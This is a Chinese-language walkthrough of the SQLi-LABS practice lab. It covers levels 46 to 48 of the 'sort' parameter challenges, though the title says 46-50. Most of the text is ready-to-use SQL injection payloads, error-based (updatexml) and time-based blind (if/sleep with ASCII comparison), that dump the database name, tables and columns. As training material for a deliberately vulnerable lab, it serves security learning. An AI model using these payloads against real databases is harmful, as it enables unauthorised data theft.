SQLi-LABS靶场46-50通过攻略

news2025/11/4 4:37:08

less-46

1.判断注入点

?sort=1' 页面出现报错

2.判断闭合方式

?sort=1 --+

3.查询数据库

因为页面有报错所以使用报错注入

?sort=1 and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段

?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-47

1.判断注入点

?sort=1' 页面出现报错说明存在注入

2.判断闭合方式

?sort=1' --+ 页面不报错成功闭合

3.查询数据库名

页面有报错可以使用报错注入

?sort=1' and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-48

1.判断注入点

正常页面?sort=1

错误页面?sort=1'

页面只有两种页面可以尝试使用布尔盲注或者时间盲注

2.判断闭合方式

?sort=1 --+ 页面显示正常闭合成功

3.查询数据库名

这里使用时间盲注

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

截取数据库的第一个字符然后进行ASCII码对比当第一位字符的ASCII码大于114时页面有延迟

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

当第一位字符的ASCII码大于115时页面没有延迟说明第一位字符的ASCII码=115 也就是s

以此类推可以得出数据库名为security

4.查询数据库的所有表

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

当第一位字符的ASCII码大于100时页面出现延迟

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

当第一位字符的ASCII码大于101时页面没有延迟说明第一位字符的ASCII码=101 也就是e

以此类推可以得出第一个表为email

5.查询users表的所有字段

sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),1) --+

当users表的第一个字符的ASCII值=105时页面出现延迟说明第一个字符的ASCII=105 也就是’i